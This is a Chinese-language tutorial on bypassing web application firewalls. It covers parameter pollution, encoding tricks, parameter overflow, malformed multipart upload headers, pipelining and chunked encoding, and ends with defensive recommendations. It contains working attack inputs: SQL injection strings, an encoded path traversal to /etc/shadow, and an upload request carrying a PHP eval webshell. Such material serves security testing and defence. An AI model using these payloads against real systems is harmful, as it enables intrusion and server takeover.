Waf 绕过手法测试
字数 3590 2025-08-19 12:42:30
WAF绕过手法全面指南
1. WAF类型与检测特点
1.1 WAF类型层级
-
网络层WAF
- 先拦截流量进行检测后再转发
- 检测细腻度最高
-
应用层WAF
- 先经过Apache/Nginx解析后再交给PHP处理
- 检测细腻度中等
-
云WAF(CDN+WAF)
- CDN加上软件WAF的结合体
- 抗DDoS攻击
- 过滤简单Payload攻击
- 流量清洗功能
-
自定义WAF
- 系统后台内置的安全功能
- 通常使用正则匹配规则
- 检测细腻度最低
2. 通用绕过思路
2.1 解析差异绕过
-
HTTP参数污染(HPP)
- 利用不同后端对重复参数的处理差异
- 示例:
?id=1&id=2&id=1' or '1'='1
-
Content-Type字符编码
- WAF严格遵循HTTP协议而服务器不处理
- 利用编码差异
-
Content-Encoding编码
- 指示请求/响应主体数据的内容编码方式
- 利用WAF与后端解码差异
2.2 编码绕过技术
-
大小写混合
UnIoN SeLeCT 1,2,3,4
-
URL编码
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
-
Unicode混淆
union = uю%69яю
-
宽字节注入
- 利用字符集转换问题
-
路径混淆
../../etc/shadow→%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
2.3 内容溢出攻击
-
长参数溢出
?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
-
OpenResty URI参数溢出
- OpenResty通过
ngx.req.get_uri_args只能获取前100个参数 - 第101个参数开始会溢出
- 示例: 构造100个重复参数后插入恶意参数
- OpenResty通过
3. 云WAF架构绕过
3.1 源IP直接访问
- 云WAF通常通过DNS解析引流
- 直接访问源站IP可能绕过WAF检测
3.2 同网段攻击
- 在云服务商购买服务器
- 通过内网攻击目标(流量可能不经过WAF)
- 成功取决于云服务商的网络配置
4. 文件上传绕过技术
4.1 Content-Disposition变形
-
引号变换
Content-Disposition: "form-data"; name=file_x; filename="xx.php"Content-Disposition: form-data; name=file_x; filename="xx.php"Content-Disposition: form-data; name="file_x"; filename="xx.php
-
分号变换
Content-Disposition: form-data; name="file_x"; filename="xx.php;
-
使用特殊字符
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"(使用制表符)
-
多分号/等号
Content-Disposition: form-data; name="file_x";;; filename="test.php"Content-Disposition: form-data; name=="file_x"; filename===="test.php"
-
值变形
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
4.2 Content-Type变形
-
大小写混合
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
-
添加特殊字符
Content-Type: multipart/form-data a\boundary=----WebKitFormBoundarye111Content-Type: multipart/form-data,a\boundary=----WebKitFormBoundarye111Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111(仅PHP可行)Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
4.3 顺序交换
-
交换name和filename顺序
Content-Disposition: form-data; filename="xx.php"; name="file_x"
-
交换Content-Disposition和Content-Type顺序
- 先放Content-Type再放Content-Disposition
4.4 boundary内容重复
------WebKitFormBoundarymeEzpUTMsmOfjwAAContent-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png
<?php @eval($_POST['hack'
WebKitFormBoundarymeEzpUTMsmOfjwAAContent-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack'
WebKitFormBoundarymeEzpUTMsmOfjwAAContent-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
4.5 数据截断技术
-
换行截断
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
-
分号截断
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
-
NULL字节截断
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
-
引号截断(PHP<5.3)
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
4.6 性能负载攻击
-
在关键位置插入大量垃圾数据
- 在filename参数中插入长随机字符串
- 在Content-Type头部插入垃圾数据
-
分割请求数据
- 将恶意负载分散到多个位置
5. 高级绕过技术
5.1 Pipeline绕过
原理:
- HTTP协议由TCP封装
- 当Connection字段为keep-alive时,TCP连接保持
- 可以附加攻击请求到正常请求后
方法:
- 关闭自动填充Content-Length
- 修改Connection为keep-alive
- 在正常请求后附加攻击请求
5.2 分块编码传输
原理:
- HTTP/1.1支持分块传输编码
- 数据分成多个部分发送
- 服务器不需要预先知道总大小
方法:
- 使用Transfer-Encoding: chunked
- 将攻击负载分成多个块
- 使用工具如Burp Suite的"chunked-coding-converter"插件
6. 防御建议
-
多层防御
- 结合网络层和应用层WAF
- 使用云WAF+自定义规则
-
严格输入验证
- 对所有输入参数进行规范化处理
- 实施白名单验证
-
协议一致性
- 确保WAF和后端使用相同的解析逻辑
- 严格遵循HTTP协议规范
-
性能优化
- 针对内容溢出攻击优化性能
- 设置合理的超时和大小限制
-
日志监控
- 记录所有异常请求
- 实时监控可疑活动
-
规则更新
- 定期更新WAF规则
- 针对新出现的绕过技术及时防护
7. 总结
WAF绕过技术多种多样,从简单的编码变形到复杂的协议利用,攻击者不断寻找新的方法来规避检测。有效的防御需要深入理解这些技术原理,实施多层防御策略,并保持安全规则的持续更新。安全团队应当定期测试WAF的有效性,模拟各种绕过技术来验证防护能力。